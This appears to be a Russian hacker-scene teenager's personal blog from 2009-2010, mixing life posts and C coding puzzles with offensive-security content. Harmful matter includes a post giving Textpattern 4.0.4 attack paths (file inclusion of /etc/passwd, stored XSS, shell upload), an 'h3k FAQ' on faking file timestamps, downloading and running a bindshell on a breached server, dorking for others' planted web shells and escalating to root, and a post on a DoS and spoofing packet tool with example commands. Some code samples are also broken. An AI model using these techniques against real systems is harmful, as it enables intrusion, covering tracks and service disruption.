Дело в том что после перезагрузки mac адрес карты меняется, и номер интерфейса увеличивается на 1. Т.е. если вчера у меня был eth0, то сегодня eth1 и так далее.
Естественно все настройки сбивались.
Погуглив эту тему я нашел одно из решений.
http://mrvisor.info/2009/05/izmenenie-mac-adresa-i-nomera-eth-v-ubuntu-904810/
Потчеркиваю, что было найдено еще несколько. Но эту по моему мнению самое рациональное.

Ну вот. Впринципе убунту проблем не доставила. Тем более до нее я устанавливал и настривал gentoo, поэтому контраст очевиден.
Думаю не буду ставить всякие Docky и подобное. А нах?

Kubuntu

2010-02-11T15:21:00.002+03:00

Рылся сегодня в шкафу и обнаружил LiveCD Kubuntu.
Оказывается он прилагался к книге "100 лучших программ для linux", которая давно пылится у меня на книжной полке.
К ubuntu отношусь скептически. Отчасти потому что встречался с ней всего пару раз. И то были траблы с сетевой картой и еще что то...
Ну так вот. Решил установить, попробовать. Очень даже ничего. Пожалуй оставлю ее 3 ОС на харде.
Все любят ubuntu) Хоть погляжу, что это за зверь.

TuxGuitar

2010-02-04T15:19:00.000+03:00

По совету знакомого поставил себе аналог GuitarPro - TuxGuitar
Работает хорошо. Читает gp3,4,5 и ptb файлы. В принципе все тоже самое что и в GuitarPro.
Офф сайт http://tuxguitar.herac.com.ar/

Плэйлисты

2010-02-04T15:06:00.000+03:00

Вотс основные плейлисты которые я слушаю, точнее основные группы.

Gentoo Linux

2010-01-24T16:29:00.000+03:00

Решился таки поставить ее. Щаз распечатываю ман и ухожу в нибытие.

Бродский.

2010-01-23T18:47:00.001+03:00

Последнее время стал интересоваться Бродским. Довольно интересные произведения и биография. Особенно на фоне репрессии против него в то время.

КилВеб

2010-01-21T13:49:00.002+03:00

http://www.securitylab.ru/forum/forum19/topic49588/#message398382
че за наХ?

Молодец бля.

2010-01-09T19:15:00.000+03:00

Егорыч молодец бля, повесил ссылки на свой блог на хз и ачате, а сам уже больше месяца его не обновляет. Ну и нахуй спрашивается его нужно было заводить?

Twitter

2010-01-08T22:59:00.001+03:00

Собственно создал учетку на твиттере.
Дело в том что не очень понимаю зачем он нужен. Поэтому раньше и не регался.
Ну поживем увидим ))
Зато теперь постараюсь не писать здесь всякую ерунду (тяжело удержаться)
http://twitter.com/real_StraNger

ну как бэ я

2010-01-08T15:02:00.002+03:00

Вот так я себя нарисовал. =)
www.faceyourmanga.com

mrim

2010-01-08T11:21:00.000+03:00

Блин, полез утром настривать м рим в жабере. Просто пиздец какаой то. Сначала посыпались контакты для авторизации. (у меня их до жопы). Было похоже на флуд с mail.ru. Даже мышкой не мог пошевелить. Ну лан авторизовались. Оказалось что имена контактов не сохранены, остались одни мыла. Вот мне интересно кто такой (или такая) zlatko009@mail.ru? Пришлось сравнивать править. Фуух

кверлоу, или как его там...

2010-01-07T23:05:00.000+03:00

http://forum.hackzona.ru/forum-f17/q3rl0w-t17787.html
Триндец, пиздец, ну это вообще полная деградация.
Порадовало слово "пидовка" (мой словарь пополнился)
Фуух. Надеюсь его мама будет довольна тем что чувак больше не будет целыми днями дрочить за тачкой.

Пиздец ушел незаметно

2010-01-06T17:30:00.001+03:00

Пиздец ушел так же не заметно, как и ушел. В последнее время меня переполняла какая то тупая злость на всех. Часами лежал, слушал slipknot, rammstein, материл кого то в уме.
Вроде прошло. Скачал свеженькие сорцы одной cms буду копать.
Удачи, StraNger.

//блять. какого я написал rammstein через "u", а slipknot без "k" ??

Аватарка

2010-01-03T20:03:00.001+03:00

Спиздил у кого-то заготовку и сделал по своему:

намба ту

Гитар

2010-01-03T19:54:00.004+03:00

Скачал guitar pro, скачал табы нирваны и слипнота. Взял в руки гитару. КРуть

Опасное мыло.

2010-01-03T19:52:00.001+03:00

Смотря со стороны становится ясно, что взлом ящик становится все опанснее и опаснее.
Вот смотрите - раньше как было. Был ящик и почта и все. Если его хакают появляется доступ только к письмам (ну и их отправке). А сейчас почтовые сервисы обрастают разными примочками (размножаются сцуки), такие как например mail agent, google doc, всякие там онлайн игрушки и прочая хуета. Нет ну это конечно заебательски, но блядь, защита на ящик оставляет желать лучшего. Хотя защита то норм. Пользователи долбаебы. Ну да ладно.

пс
я ввел в свой блог сказочные маты. это новый стиль (стайл)

3 день

2009-12-31T08:59:00.002+03:00

Третий день уже не могу собраться. Занимаюсь всякой шнягой. Слухаю музыку, играю на гитаре, чешу языком в магенте, ржу над демотиваторами.
Кто нибудь пните меня под зад.
Надо...

Учебный год.

2009-12-29T19:57:00.001+03:00

Учебный год закончился. Впереди учебный год. Всех с наступающим Хеллуином. Чмоки Чмоки

textpattern 4.0.4 bugs

2009-12-27T19:17:00.005+03:00

Активная XSS:

http://test1.ru/textpattern/index.php?event=admin

Поле "Логин" не фильтруется. Появялется возможность выполнить и сохранить скрипт скрипт.

Local include

http://test1.ru/textpattern/?event=./../../../../../../etc/passwdNULLbyte

code:

...
        $inc = txpath . '/include/txp_'.$event.'.php';
        if (is_readable($inc))
            include($inc);
            ...

Так же: в админ панели залить php шелл можно через форму для загрузки файлов.

StraNger

HZ под флудом

2009-12-25T19:04:00.002+03:00

Хзону уже 3 день атакуют воены упячки. Админы и модеры в поте лица трут посты и банят засранцев. =D

мну качок

2009-12-24T13:46:00.002+03:00

Записался в спортзал. Буду бодибилдером-хакером.

Самый обыкновенный пост

2009-12-23T19:47:00.000+03:00

Пора уже готовится к НГ. Хочется отметить ярко. 2010 все таки.
Портал потихоньку начинает заводиться. Активность заметна сразу.
Кстати, куда фрайз делся??

The exploited Fuck the system

2009-12-18T14:04:00.003+03:00

Fuke the system
ааАааааааАааааааааааааааааааааа !! =) гг

GetRoot жив.

2009-12-16T12:58:00.003+03:00

Честно сказать я уже начал сомневаться, что проект поднимется. Но как оказалось напрасно. Гет рут живее всех живых. Снова в теме.
Алилуя товарищи.
getroot.ru
Чего собственно ждем и желаем. Хочется побольше адекватных людей. Как я уже упоминал люди это главное. Хочется побольше норм релизов (статеей хватает вроде.) Вообщем всего хорошего.

Как писать тру хек код.

2009-12-14T11:28:00.000+03:00

Гулял по сетке наткнулся на этот текст:

.............
The other thing is write clear specifications as you go - as you develop the program
you will get sudden flashes of insight "ah ha - That's what it should do" - if you are on
the right track carry on. If not throw away ALL your code and start again.

Oh and listen to your subconscious - if you get the " this is not right but I don't know why "
feeling - stop - conversely if you get the " I know this is right " feeling don't stop, just
turn off your brain and type the code in.

There is a mis-conception - the best programs "write themselves" so they need no design
they have always been and they will always be - you just have to see them and write them down.
At first you grope blindly and then you see them.

(This is the Platonic view of programming - that programs have a priori existence,
we don't invent them, they have always been, we perceive them and write them down

<this is the reason why two independent programmers when given a problem to solve
often produce identical (to within renaming of parts) programs - since there is
only one solution - the correct solution>

/Joe

аве, ExZoD

2009-12-11T18:48:00.000+03:00

Недавно экзод вернулся из армии. Здорово) Хотя я с ним близко не знаком.
Надеюсь что будет активен на хз. Все таки люди это главное.

2009-12-10T11:10:00.000+03:00

Блин, опять пришлось шаблон сменить. Прошлый слишком сужал поля.
Этот даже совсем не в моем стиле, но пусть.

Кодерские хаки

2009-12-08T19:08:00.007+03:00

[stranger@localhost ~]$ date
Сбт Дек 5 00:23:09 MSK 2009

[stranger@localhost ~]$ cat /home/stranger/h3kcode.txt

Ну для начала стоит определиться что такое «хаки».
В моем понимании это какие то нестандартные, красивые, оригинальные решение, которые явно отличаются от других. В общем что то умное и не ординарное. Собственно в этой статье я приведу пример нескольких хаков на тему кодинг. Вообще зачем они нужны? По моему главная причина это так называемый brainfuke, который является любимый занятием любого хакера/кодера. Ну и вторая причина читать данный материал – повышение уровня знания языка. Кстати примеры будут на Си.
Ну что ж. Теперь, когда я заполнил выделенную память введением, можно начинать fuke.

---[h3k 01] ---

//Очень маленькое тело
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.

Думаю ясно что 4 символами такую программу не написать (а может можно?)). Нам нужно куда то вынести этот код:

int i=0;
while(i[10)
{
printf(%i,rand(1000));
}

Но не забываем, что функции создавать нельзя. Но с помощью макроподстановок в дириктиве #define можно выполнить этот код. Смотрим:

#include [stdio.h]
#define RND int i=0,g=random(100); while(i[10){printf("%d",g);printf("\n");i++;}

int main()
{
RND;
}

Ну вот.) получилась программа из трех букв xdd
На самом деле макроподстановка довольно удобная вещь. К примеру показ баннера вашей программы. Достаточно написать

#define banner printf(«Powed by StraNger»);

И не нужно пихать код в отдельную функцию

---[h3k 02] ---

//Цикл без цикла
Давайте попробуем сделать такой трюк – нужно написать программу которая бы перебирала указанные числа по порядку и каждое новое число сумировало с предыдущим.
Но главная задача в том, что бы не использовать при этом операторы циклов.

Для начала давайте прикинем какой код будет если мы внедрим цикл(для 10 раз):

- - -
int i=0, stat=5;
while(i[10)
{
stat=stat+(stat-1);
i++;
}
- - -

Теперь нужно избавится от цикла. Конечно, можно было бы выполнять 10 раз схожий код, но это как минимум глупо. Давайте лучше вспомним, что такое оператор goto. Как известно от служит для “прыжка” программы к какой либо метке. Ну например:

- - -
if(a]0)
goto error;
else
//Тут какие то действия
errot:
printf(“OH!\n”);
- - -

Если а>0 то программа перескочит к метке error и выполнит код, который мы в ней написали.
А что нам мешает таким образом организовать цикличные действия. С помощью двух меток и двух goto. Смотрим:

#include [stdio.h]
int main()
{
int i=2,stat=0;
//Первая ссылка
one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto tho;
}
else
printf("The end, i=%d",i);

}
}

Когда программа доходит до первой ссылки она проверяет переменную stat. Если она еще меньше 10, то нужно выполнять вычисления (как очередной шаг цикла) и увеличивать счетчик. Далее происходит переход ко второй метке , там выполяется точно такая же проверка.
Внимательный читатель заметит, что программу можно значительно уменьшить.
Вот так:

#include [stdio.h]
int main()
{
int i=2,stat=0;

one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto one;
}
else
printf("The end, i=%d",i);
}

Как видите мы попросту выполнили переход к этой же метке.
goto самый ненавистный си оператор.
Эдсгера Дейкстры сказал: “качество программного кода обратно пропорционально количеству операторов GOTO в нём"
Действительно код становится мене понятным. Но как видите иногда его можно применить весьма оригинальным способом.
На самом деле, это не единственный способ организовать “цикл без цикла”
Если вызывать функцию рекурсивной, а в ней проверять значение счетчика получится примерно тоже самое. Вот так:

int step();
int i;
int main()
{
step();
}

int step()
{
if(i[10)
{
i++;
step();
}
else
printf("%i",i);
}

---[h3k 03] ---

//Обманутый strcmp
В этом хаке мы попытаемся обмануть функцию strcmp. Как надеюсь вы знаете он сравнивает две строки, нам же нужно что бы эти строки были не равны между собой, а функция определило противное.

На самом деле тут ничего сложного. Давайте посмотрим как например строка fukeworld располагается в памяти:

f a k e w o r l d\0

нас интересует именно конечный символ \0 он указывает на окончание строки.
Теперь вспомним, как работает strcmp. Она сравнивает две строки посимвольно до символа окончания строки (\0). Вы наверное поняли к чему я веду. Если нет смотрим пример:

#include [stdio.h]
int main(int argc, char argv[])
{
int integ;
char *w1="fuke\0world";
char *w2="fake";
integ=strcmp(w1,w2);
printf("%i\n",integ);
}

Здесь мы так скажем принудительно указали конец строки, используя символ \0. Если отсечь часть после него, то получатся как раз равные строки.
Если вы протестируете пример, то программа должна вывести на дисплей цифру 0. Это результат выполнения функции strcmp, значит строки равны.

Ну а если сделать так:

char *w1="\0fuke world";

то все будут думать, что строка пуста.

---[h3k 04] ---

//forever... oh no!
Представим себе вот такой код:

#include [stdio.h]
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Как видите здесь запускается бесконечный цикл. В нем на экран выводится слово forever.
Хак заключается в том, что бы изменить программу таким образом, что наш цикл через какое то время останавливался и не был бесконечным. При том нельзя писать какие то операторы перед циклом (и в нем соответственно), нельзя создавать функции.

Здесь нам на помощь приходит опять #define. Нужно задать какую то константу, которая бы изменила работу цикла. В теле используется только printf, значит ее и нужно подставить в define:

#include [stdio.h]
#define printf continue;
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Попробуйте запустить и вы уведите, что цикл не бесконечный. Точнее он не будет выполняться вообще.

---[h3k 05] ---
//10 способов создать бесконечный цикл.
С первого взгляда кажется способов выполнения действия бесконечное число раз не так уж и много. Но на самом деле это не так. Посидев 5 минут с блокнотом я нашел 10 способов (откинув однотипные решения), хотя думаю что можно найти их гораздо больше

***************
1) while(true) {}
***************

**************
2)for (;;) {}
**************

**************
3)
int i;
for (i=0;i]0;i++) {}
**************

**************
4)
int i=1;
while(i]0)
{i++}
**************

**************
5)
repeat:
printf("h");
goto repeat;
**************

**************
6)
int i;
repeat:
i=0;
while(i[1)
{
goto repeat;
i++;}
*************

*************
7)
while(1==1)
{}
*************

*************
8)
while("")
{}
*************

*************
9)
int i;
rock:
do
{
goto rock;
i++;
}
while(i[10); //самое интересное, что тут условие вообще будет игнорироваться
************

************
10)
int i;

for(i=0;i[10;i++)
{
if(i[10)
i--;
}
************

---[h3k 06] ---

//без условия.
Хак заключается в следующем – нужно написать программа которая бы принимало какое то число аргументов. В каждом аргументе находится один символ, программе нужно найти среди них нужный (пусть будет 'w'). При том – нельзя пользоваться условными конструкциями (кроме условия И ИЛИ).

Для сравнения строк будет использовать функцию strcmp(). При полном совпадении она возвращает ноль. Проблема как раз в том, как проверить результат функции.
Смотрим код:

#include [stdio.h]

int main(int argc, char *argv[])
{
int i;
for(i=0;i[argc;i++)
{
(strcmp(argv[i],"w")!=0) || printf("Нужная буква в(во) %i аргументе\n",i+1);
}
}

Происходит примерно так:
значение функции strcmp не равно нулю или (равно нулю) мы нашли нужный символ. Как видите несложно.
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.
EOF
StraNger

Вооруженный пингвин. Компактный софт для боевых действий.

2009-11-30T10:11:00.004+03:00

**********

intro

**********

У каждого хакера должен быть свой личный набор боевого софта. Этот набор должен отвечать кое каким требованиям, которые каждый устанавливает сам. Я например, люблю небольшие программы, которые не обременены большим количеством функций.

Кому то нравятся программы гиганты с множеством встроенных возможностей.

В этом материале я решил описать несколько малоизвестных тулз, которые иногда могут работать почище популярных утилит.

«Маленький значит красивый» - именно этим принципом мы и будет держаться.

*********

body

*********

---------

webi.c

---------

enter

Первой утилитой, которую мы сегодня разберем, будет webi.c. Ее автором является лицо под ником Condor. Программа выполняет функции подделки (или инъекции, как сказано в описании) HTTP пакетов. Собственно она является аналогом (почти) windows утилиты InetCrack.

Скачать сишник можно по этой ссылке:

http://packetstormsecurity.org/UNIX/misc/webi.c

description

Программа имеет несколько ключей, давайте разберём основные из них:

-s

Указываем адрес веб сервера (127.0.0.1, hackzona.ru)

-u

URL(/cgi-bin/script.php)

-p

Порт. По умолчанию — 80

-m

Метод отправки. Наверное самый нужный ключ.

Возможные варианты:

{GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE}

-r

Рефферер

-a

Юзер агент.

-z

Username и пароль. Например, login:pass

-t

Proxy, опять же proxy:port

-d

Данные

Справочка

Компилируется так:

[stranger@localhost ~]$ gcc /home/stranger/webi.c -o /home/stranger/web

Пример:

[stranger@localhost ~]$ /home/stranger/web -s hackzona.ru -u http://hackzona.ru/index.php

in source code...

Давайте теперь взглянем на исходный код.

Помимо главной функции написаны еще три:

void usage(char *arg)

char *itoa(int i)

void base64Encode(char *intext, char *output)

Первая при необходимости выводит справку для программы.

Вторая, преобразовывает int строки в char. Она написано специально для совместимости с некоторыми системами (т.к. иногда ее просто в них нет)

Ну и третья функция производит base64 кодировку.

В главной (main) функции, c помощью конструкции switch проверяются ключи.

Далее происходит сама генерация пакета.

Ну и конечной частью кода является отправка пакета и прием ответа.

Other

В принципе те же самые действия можно произвести с помощью той же netcat, но согласитесь, эта программа более удобна. К тому же ее исходный код занимает всего 300 строк.

-----------

synner.c

-----------

enter

Итак, наш следующий подопытный называется synner. Автором этого инструмента является человек под ником sm4x.

Программа является генератором TCP пакетов и служит для тестирования брандмауэров и производства DoS атак. Она может отправлять большие TCP пакеты с определенными TCP флагами, MAC и IPS

Слить исходник можно по этой ссылке

http://packetstormsecurity.org/UNIX/scanners/synner.c

description

Давайте рассмотрим некоторые ключи программы.

Прототип использование вот такой:

[root@localhost stranger]#
./synner -i -s -S -d -D

-i

Имя интерфейса

-x

Режим DoS атаки

-s

Исходный айпишник (если производится спуфинг)

-S

Исходный MAC, опять же для спуфинга

-d

ип цели

-D

Соответственно MAC адрес цели.

-l

Размер пакета

-f

TCP флаги — s,a:p:u,r:f

(s)yn, (a)ck, (p)push, (u)rgent, (r)eset, (f)in, (x)=ALL

Компиляция производится так:

[root@localhost stranger]# gcc /home/stranger/synner.c -o /home/stranger/synner

Замечу, что для использования программы вам понадобятся root права.

Ну что ж, давайте рассмотрим пару примеров:

[root@localhost stranger]#./synner -ieth0 -x -s192.168.1.1 -S00:AA:BB:CC:00:00 -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p 6984 -l 512 -u5555 -fas

[root@localhost stranger]#./synner -ieth0 -sr -S00:dd:ee:aa:dd:ff -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p80 -u500 -fx

in source code...

В общей сложности исходный код занял 400 строк.

Функция...

unsigned short calc_checksum(unsigned char *, int );

... вычисляет контрольную сумму, которая необходима при формировании пакета.

Так же в коде есть структура tcphdr. Она содержит в себе структуру TCP пакета. Если хотите более подробную информацию о ее полях обратитесь к спец. источнику.

Other

Как видите, программа довольно проста в использовании, но при этом является мощным инструментом, который займет достойное место в нашей коллекции.

A-SnIf.c

enter

Следующим на очереди стоит программа-сниффер A-SnIf. Ее создателем является некто

по имени Asynchro.

Загрузить код можно тут
http://packetstormsecurity.org/sniffers/A-SnIf.c

Это довольно простой инструмент для перехвата пакетов. В описании автор указал даже, что это "сниффер для обучения". Тем не менее он работает, давайте разберемся как.

Description

По сложившийся традиции давайте рассмотрим ключи программы:

Прототип:

[root@localhost stranger]#./a-snif [-i interface] [-a address] [-p port] [-l logfile] [-h] [-d]

-i

Ключ указывает на интерфейс, который нужно использовать вместо установленного по умолчанию.

-a

Адрес, с которого нужно «снифать» пакеты.

-p соотвественно порт, который нужно контролировать

-l ключ создает лог файл, куда будет писаться результат

-d

вывести выходные данные.

Вот довольно наигранный пример:

[stranger@localhost ~]$ ./snif -a 192.168.1.1 77 /home/stranger/log.txt

Собрать программку можно обычным gcс, как и в прошлых примерах.

Да и, для использования нужны рут права.

Other

Программа заняла около 400 строк. Это сравнительно мало.

Безусловно, в этом сниффере мало функционала, но не смотря на это он практичен.

cscan.pl

enter

Следующая тулза является cgi сканером (или сканером уязвимостей). Написана она на perl человеком с ником iceburg.

По сути ничего отличительного в ней нет. Утилита работает с базой данных в которой хранятся уязвимые скрипты. Ну как с базой… Обычный текстовик с уязвимыми скриптами. =)

Скачать сценарий можно по этой ссылке:

http://packetstormsecurity.org/UNIX/cgi-scanners/cscan.pl

Description

Для работы с программой вам понадобиться создать базу данных.

Ну и естественно добавить туда какое то кол-во уязвимых скриптов (гоу ту багтрак)

Далее можно приступать к работе.

Ключи:

-p

Порт

-h

Хост

-d

Имя файла с дырявими сценариями

-l

Имя лог файла

-m

С помощью этой опции можно просканировать диапазон адресов.

Смотрим пример:

[stranger@localhost ~]$ perl cscan.pl -p 80 -h 127.0.0.1 -d cgi.database -l blah.log

[stranger@localhost ~]$ perl cscan.pl -p 80 -m 127.0.0.1-255 -d cgi.database -l blah.log

in source code...

Код занимает всего 150 строк.

В нем происходит обычное построчное считывание из файла. Далее идет обращение к веб серверу.

Other

Несмотря на простоту, сканер может помочь в некоторых ситуациях. В принципе в сети есть много аналогов, даже на других языках.

dittrich.pl

enter

Следующая программа нашей коллекции это dittrich. Так же как и предыдущая она написана на языке perl. Ее автор- David Dittrich. Утилита выполняет одну функцию – собирает информацию о целевой системе. Для своих злых дел она использует nmap и netcat. Так что проследите, что бы оные были у вас в наличие.

Скачать скрипт можно тут:

http://packetstormsecurity.org/UNIX/misc/dittrich.pl

Description

В качестве аргумента программе нужно передать адрес хоста. Но конечно возможно использовать несколько опций:

-repeat [N]

Тут мы указываем сколько раз нужно пытаться собрать данные. Если не указать значение программка будет мучить целевую систему пока та работает =)

-sleep [N]

Сколько секунд нужно «спать» перед следующей попыткой

Дефолтовое значение указано в сорце

-log

Имя лог файла.

in source code...

В начале кода задано несколько констант.

Вроде путь до nmap –a или время «спячки» между запросами.

Ну и далее идет собственно сам процесс сборки данных.

Он в основном опирается на использование «сетевой кошки» и нмапа.

Other

В итоге довольно удобный инструмент, берет на себя ввод команд в nmap или netcat и экономит наше время.

ftp-spider.pl

enter

Ну и завершает наш топ инструмент с названием ftp-spider. Ее автором является Nithen Naidoo. Программа написана на perl. Она сканирует ftp сервер на разные уязвимости, вроде неправильной расстановки прав доступа или обнаружение анонимного доступа. Есть возможность составлять структуру каталогов.

Слить сценарий можно здесь:

http://packetstormsecurity.org/UNIX/scanners/ftp-spider.pl

Description

Прототип использование таков:

[stranger@localhost ~]$ perl ./ftp-spider.pl [-h] [-v] [-d] [-k] [-P] [-w] [-s server] [-u username] [-p password] [-r remote] [-i ignore] [-f filterfile]

-v

Подробный вывод. В том числе все дерево каталогов и списки файлов.

-P

Пассивный режим работы

-i

Тут задается регулярное выражение. Файлы, которые ему соответствуют, игнорируются.

-p

Пароль. Опционально.

-w

Перечислить все каталоги, которые доступны для записи.

-s сам сервер

Вот небольшой примерчик:

[stranger@localhost ~]$ perl ./ftp-spider.pl –s 127.0.0.1 –v

Other

Думаю это очень полезный скрипт. Полезен именно тем, что не просто перебирает имена, пытаясь найти уязвимый ftp –шник, а пытается найти баги, которые появляются вследствие лени админа.

**********

Outro

**********

Ну что ж. На этом все. Собственно целью данной статьи не было побуждать вас использовать именно этот софт. Просто я хотел показать несколько удобных программок, которые могут быть полезны в определенных ситуациях. Вообще акцент делался именно на то, что инструменты были небольшие по размеру и их функциональность довольно усечена. Но это нельзя считать недостатком. По моему мнению, такие утилиты использовать гораздо приятнее и удобней.

StraNger

h3k FAQ

2009-11-29T14:07:00.004+03:00

Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)

Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:

[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html

Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:

[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html

Кстати в php есть одноименная функция для изменения времени доступа к файлу:

int touch (string filename [, int time [, int atime]])

Например:

Этот код меняет время модификации файла $filename на текущее время.

Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:

#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}

q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)

Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:

[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск

Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:

НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:

q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:

standard in must be a tty

В чем проблема?

Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:

tty: not a tty

Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.

q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?

Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.

q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?

Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:

PHPKonsole PHPShell filetype:php -echo

Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:

intitle:c99shell filetype:php

c99shell шелл.
Думаю суть запросов ясен.

q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?

Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:

[stranger@localhost ~]$last -n 15

q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:

[stranger@localhost ~] which gcc

Терминал выдал вот это:

/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)

Что делать?

Решение:
Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора.
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF

StraNger aka reaL StraNger

Жизнь продолжается

2009-11-26T19:31:00.002+03:00

Врачи == олени. Сегодня поняли, что у меня нет пневмонии.
Пока валялся в койке появилось парочка идей для новой статейки и релизов.
Решил скачать CoD5 (зачем??). Погамаю... расслаблюсь.
Еще раз кстати поздравляю сципа =))
Пойду менять диз блога.

Прощайте

2009-11-24T12:08:00.000+03:00

Прощайте дорогие товарисщи.
Ложусь на неопределенный срок в больницу с пневмонией.
Там не будет не виндос не линукс. И си там не будет. (((

Ужес

2009-11-17T16:08:00.000+03:00

Ппц. Еле встал с постели. Сопли капают на клаву. Температура 2 дня была под 39
Школу на карантин закрыли.

Лежит

2009-11-05T13:46:00.000+03:00

Бля. ХЗ лежит, гетрут лежит.
Чувствую себя бездомным

Unknown

2009-11-02T13:44:00.003+03:00

Что то тут решил асм поучить.)
Даже не знаю что их этого выйдет.... просто потянуло
Нашел книжонку Асемблер в Linux для программистов С.
Сижу читаю. Извращенец я
На дельфи с гордостью забил.
Так вот.

КаникулЫЫ

2009-10-30T12:37:00.002+03:00

За снежком незаметно подкрались каникулы.

Прежде всего нужно выразить сочувствие модераторам.
Ну а так все отлично. Бум спать.

Снежок...

2009-10-27T12:32:00.001+03:00

На выходных выпал снег. По традиции на утро. Зимa сцуко наступает.
Сразу появилось новогоднее настроение, но потом вспомнил, что да 2010 еще 2 с лишним месяца.
Продолжаем существовать....

www.gfs-team.ru

2009-10-22T14:20:00.001+03:00

Сижу значит щаз, сижу... музыку слухаю.
Думаю дайка на сайт gfs тимы зайду.
Захожу сморю - обновились ребятки. Выложили 2 релиза и статью.
Правда еще 13 числа. Но все таки.....

пэтоН

2009-10-21T18:31:00.000+03:00

За последние семь дней (неделю) уже три моих знакомых начали учить питон.
Офигет.
По мне так перл нуно любить.
ХОтя куда мне.

Perl – лучший друг хакера.

2009-10-20T12:21:00.002+03:00

Введение && Почему нам так подходит перл?
Здравствуйте уважаемые читатели.
В этой статье я постараюсь описать некоторые аспекты программирования для perl, которые, несомненно пригодятся для хекера.
Почему перл? Много причин... Во-первых, простота. Да перл действительно очень простой язык. Это язык для тех, кто не хочет морочить себе голову набивая кучу кода, что бы вывести фразу "Hello word". А разве не это нам нужно? Простота и скорость создания скрипта. Так сказать, что бы писать программы на лету.
Самое интересное, что на нем можно написать приложение для веб, а можно, например, скрипт для передачи шеллкода через уязвимый буфер. Не правда ли здорово?)
Побудила меня написать этот материал статья Cobalt -а -"Perl - инструмент хакера", по моему мнению, статья получилась очень не полной. А тема интересная.
Ну что ж пора переходить от слов к делу.

Этюд 1. Ищем suid биты.
